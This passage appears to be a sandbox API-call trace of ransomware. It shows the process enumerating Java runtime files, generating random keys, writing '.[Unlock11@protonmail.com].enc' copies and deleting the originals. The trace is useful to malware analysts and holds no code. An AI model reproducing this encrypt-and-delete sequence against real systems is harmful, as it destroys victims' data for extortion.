GetCurrentThreadId () returned 0x9b0 [0124.905] GetLastError () returned 0x0 [0124.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32655a8 [0124.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265608 | out: hHeap=0x2ad0000) returned 1 [0124.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.906] GetCurrentThreadId () returned 0x9b0 [0124.906] GetLastError () returned 0x0 [0124.906] GetLastError () returned 0x0 [0124.906] GetLastError () returned 0x0 [0124.906] GetLastError () returned 0x0 [0124.906] GetCurrentThreadId () returned 0x9b0 [0124.906] GetLastError () returned 0x0 [0124.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0124.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0124.907] GetLastError () returned 0x0 [0124.908] GetLastError () returned 0x0 [0124.908] GetCurrentThreadId () returned 0x9b0 [0124.908] GetLastError () returned 0x0 [0124.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.908] GetLastError () returned 0x0 [0124.947] GetLastError () returned 0x0 [0124.947] GetCurrentThreadId () returned 0x9b0 [0124.947] GetLastError () returned 0x0 [0124.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265498 [0124.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.947] GetCurrentThreadId () returned 0x9b0 [0124.947] GetLastError () returned 0x0 [0124.948] GetLastError () returned 0x0 [0124.948] GetLastError () returned 0x0 [0124.948] GetLastError () returned 0x0 [0124.948] GetCurrentThreadId () returned 0x9b0 [0124.948] GetLastError () returned 0x0 [0124.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0124.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.948] GetLastError () returned 0x0 [0124.950] GetLastError () returned 0x0 [0124.950] GetCurrentThreadId () returned 0x9b0 [0124.950] GetLastError () returned 0x0 [0124.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.950] GetLastError () returned 0x0 [0124.950] GetLastError () returned 0x0 [0124.950] GetCurrentThreadId () returned 0x9b0 [0124.950] GetLastError () returned 0x0 [0124.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265608 [0124.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0124.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xe058) returned 0x37bf790 [0124.951] GetCurrentThreadId () returned 0x9b0 [0124.951] GetLastError () returned 0x0 [0124.951] GetLastError () returned 0x0 [0124.951] GetLastError () returned 0x0 [0124.951] GetLastError () returned 0x0 [0124.952] GetCurrentThreadId () returned 0x9b0 [0124.952] GetLastError () returned 0x0 [0124.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.952] GetLastError () returned 0x0 [0124.954] GetLastError () returned 0x0 [0124.954] GetCurrentThreadId () returned 0x9b0 [0124.954] GetLastError () returned 0x0 [0124.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.954] GetLastError () returned 0x0 [0124.954] GetLastError () returned 0x0 [0124.954] GetCurrentThreadId () returned 0x9b0 [0124.954] GetLastError () returned 0x0 [0124.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.955] GetLastError () returned 0x0 [0124.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.955] CloseHandle (hObject=0x3ac) returned 1 [0124.955] GetLastError () returned 0x0 [0124.955] GetCurrentThreadId () returned 0x9b0 [0124.955] GetLastError () returned 0x0 [0124.955] GetLastError () returned 0x0 [0124.956] CloseHandle (hObject=0x39c) returned 1 [0124.956] GetLastError () returned 0x0 [0124.956] GetCurrentThreadId () returned 0x9b0 [0124.956] GetLastError () returned 0x0 [0124.956] GetLastError () returned 0x0 [0124.956] GetLastError () returned 0x0 [0124.956] GetLastError () returned 0x0 [0124.956] GetLastError () returned 0x0 [0124.956] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1 [0124.960] GetLastError () returned 0x0 [0124.960] GetCurrentThreadId () returned 0x9b0 [0124.960] GetLastError () returned 0x0 [0124.960] GetCurrentThreadId () returned 0x9b0 [0124.960] GetLastError () returned 0x0 [0124.961] GetLastError () returned 0x0 [0124.961] GetLastError () returned 0x0 [0124.961] GetLastError () returned 0x0 [0124.961] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll", lpFilePart=0x9bada4*="java_crw_demo.dll") returned 0x38 [0124.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0124.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.962] GetCurrentThreadId () returned 0x9b0 [0124.962] GetLastError () returned 0x0 [0124.962] GetLastError () returned 0x0 [0124.962] GetLastError () returned 0x0 [0124.962] GetLastError () returned 0x0 [0124.962] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll", lpFilePart=0x9bada4*="jawt.dll") returned 0x2f [0124.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.962] GetCurrentThreadId () returned 0x9b0 [0124.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.963] GetLastError () returned 0x0 [0124.963] GetLastError () returned 0x0 [0124.963] GetLastError () returned 0x0 [0124.963] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll", lpFilePart=0x9bada4*="JAWTAccessBridge-64.dll") returned 0x3e [0124.963] GetCurrentThreadId () returned 0x9b0 [0124.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.964] GetCurrentThreadId () returned 0x9b0 [0124.964] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll", lpFilePart=0x9bada4*="jdwp.dll") returned 0x2f [0124.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.964] GetCurrentThreadId () returned 0x9b0 [0124.964] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll", lpFilePart=0x9bada4*="jfr.dll") returned 0x2e [0124.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.965] GetCurrentThreadId () returned 0x9b0 [0124.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.965] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll", lpFilePart=0x9bada4*="jfxmedia.dll") returned 0x33 [0124.965] GetCurrentThreadId () returned 0x9b0 [0124.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.965] GetCurrentThreadId () returned 0x9b0 [0124.966] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll", lpFilePart=0x9bada4*="jfxwebkit.dll") returned 0x34 [0124.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0124.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0124.966] GetCurrentThreadId () returned 0x9b0 [0124.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.966] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", lpFilePart=0x9bada4*="jjs.exe") returned 0x2e [0124.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.966] GetCurrentThreadId () returned 0x9b0 [0124.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.967] GetCurrentThreadId () returned 0x9b0 [0124.967] GetCurrentThreadId () returned 0x9b0 [0124.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.967] GetCurrentThreadId () returned 0x9b0 [0124.967] GetCurrentThreadId () returned 0x9b0 [0124.967] GetCurrentThreadId () returned 0x9b0 [0124.967] GetCurrentThreadId () returned 0x9b0 [0124.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a768 [0124.968] GetCurrentThreadId () returned 0x9b0 [0124.968] GetCurrentThreadId () returned 0x9b0 [0124.968] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1 [0124.968] GetCurrentThreadId () returned 0x9b0 [0124.968] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3657da4 | out: pbBuffer=0x3657da4) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0124.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0124.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0124.968] GetCurrentThreadId () returned 0x9b0 [0124.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.969] GetCurrentThreadId () returned 0x9b0 [0124.969] GetCurrentThreadId () returned 0x9b0 [0124.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.969] GetCurrentThreadId () returned 0x9b0 [0124.969] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.969] GetFileType (hFile=0x39c) returned 0x1 [0124.970] GetCurrentThreadId () returned 0x9b0 [0124.970] GetFileType (hFile=0x39c) returned 0x1 [0124.970] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.970] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.970] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.970] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.970] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.970] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.970] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.970] GetLastError () returned 0x0 [0124.970] GetCurrentThreadId () returned 0x9b0 [0124.970] GetLastError () returned 0x0 [0124.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265618 | out: hHeap=0x2ad0000) returned 1 [0124.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.971] GetCurrentThreadId () returned 0x9b0 [0124.971] GetLastError () returned 0x0 [0124.971] GetLastError () returned 0x0 [0124.971] GetLastError () returned 0x0 [0124.971] GetLastError () returned 0x0 [0124.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265618 [0124.971] GetLastError () returned 0x0 [0124.971] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.972] GetFileType (hFile=0x3ac) returned 0x1 [0124.972] GetLastError () returned 0x0 [0124.972] GetCurrentThreadId () returned 0x9b0 [0124.972] GetLastError () returned 0x0 [0124.972] GetFileType (hFile=0x3ac) returned 0x1 [0124.972] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.973] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.973] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.973] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.973] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.973] GetLastError () returned 0x0 [0124.973] GetCurrentThreadId () returned 0x9b0 [0124.973] GetLastError () returned 0x0 [0124.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265618 | out: hHeap=0x2ad0000) returned 1 [0124.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0124.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0124.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.974] GetLastError () returned 0x0 [0124.974] GetLastError () returned 0x0 [0124.974] GetCurrentThreadId () returned 0x9b0 [0124.974] GetLastError () returned 0x0 [0124.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0124.974] GetLastError () returned 0x0 [0124.974] GetLastError () returned 0x0 [0124.974] GetCurrentThreadId () returned 0x9b0 [0124.974] GetLastError () returned 0x0 [0124.974] GetLastError () returned 0x0 [0124.976] GetLastError () returned 0x0 [0124.976] GetCurrentThreadId () returned 0x9b0 [0124.976] GetLastError () returned 0x0 [0124.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0124.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3e58) returned 0x35c0a00 [0124.977] GetLastError () returned 0x0 [0124.977] GetLastError () returned 0x0 [0124.977] GetLastError () returned 0x0 [0124.977] GetLastError () returned 0x0 [0124.977] GetCurrentThreadId () returned 0x9b0 [0124.977] GetLastError () returned 0x0 [0124.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0124.977] GetCurrentThreadId () returned 0x9b0 [0124.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0124.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0124.978] GetLastError () returned 0x0 [0124.979] GetLastError () returned 0x0 [0124.979] GetCurrentThreadId () returned 0x9b0 [0124.979] GetLastError () returned 0x0 [0124.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc3a8 | out: hHeap=0x2ad0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc3a8 [0124.979] GetLastError () returned 0x0 [0124.979] GetLastError () returned 0x0 [0124.979] GetCurrentThreadId () returned 0x9b0 [0124.979] GetLastError () returned 0x0 [0124.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc3a8 | out: hHeap=0x2ad0000) returned 1 [0124.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.980] GetLastError () returned 0x0 [0124.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.980] CloseHandle (hObject=0x3ac) returned 1 [0124.980] GetLastError () returned 0x0 [0124.980] GetCurrentThreadId () returned 0x9b0 [0124.980] GetLastError () returned 0x0 [0124.981] GetLastError () returned 0x0 [0124.981] CloseHandle (hObject=0x39c) returned 1 [0124.981] GetLastError () returned 0x0 [0124.981] GetCurrentThreadId () returned 0x9b0 [0124.981] GetLastError () returned 0x0 [0124.981] GetLastError () returned 0x0 [0124.981] GetLastError () returned 0x0 [0124.981] GetLastError () returned 0x0 [0124.981] GetLastError () returned 0x0 [0124.981] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1 [0124.983] GetLastError () returned 0x0 [0124.983] GetLastError () returned 0x0 [0124.983] GetLastError () returned 0x0 [0124.983] GetLastError () returned 0x0 [0124.983] GetLastError () returned 0x0 [0124.983] GetLastError () returned 0x0 [0124.983] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll", lpFilePart=0x9bada4*="jli.dll") returned 0x2e [0124.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0124.984] GetLastError () returned 0x0 [0124.984] GetLastError () returned 0x0 [0124.984] GetLastError () returned 0x0 [0124.984] GetLastError () returned 0x0 [0124.984] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll", lpFilePart=0x9bada4*="jp2iexp.dll") returned 0x32 [0124.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.985] GetLastError () returned 0x0 [0124.985] GetLastError () returned 0x0 [0124.985] GetLastError () returned 0x0 [0124.985] GetLastError () returned 0x0 [0124.985] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", lpFilePart=0x9bada4*="jp2launcher.exe") returned 0x36 [0124.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.986] GetLastError () returned 0x0 [0124.986] GetLastError () returned 0x0 [0124.986] GetLastError () returned 0x0 [0124.986] GetLastError () returned 0x0 [0124.986] GetLastError () returned 0x0 [0124.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.986] GetLastError () returned 0x0 [0124.986] GetLastError () returned 0x0 [0124.986] GetLastError () returned 0x0 [0124.987] GetLastError () returned 0x0 [0124.987] GetLastError () returned 0x0 [0124.987] GetLastError () returned 0x0 [0124.987] GetLastError () returned 0x0 [0124.987] GetLastError () returned 0x0 [0124.987] GetLastError () returned 0x0 [0124.987] GetLastError () returned 0x0 [0124.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.987] GetLastError () returned 0x0 [0124.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0124.988] GetLastError () returned 0x0 [0124.988] GetLastError () returned 0x0 [0124.988] GetLastError () returned 0x0 [0124.988] GetLastError () returned 0x0 [0124.988] GetLastError () returned 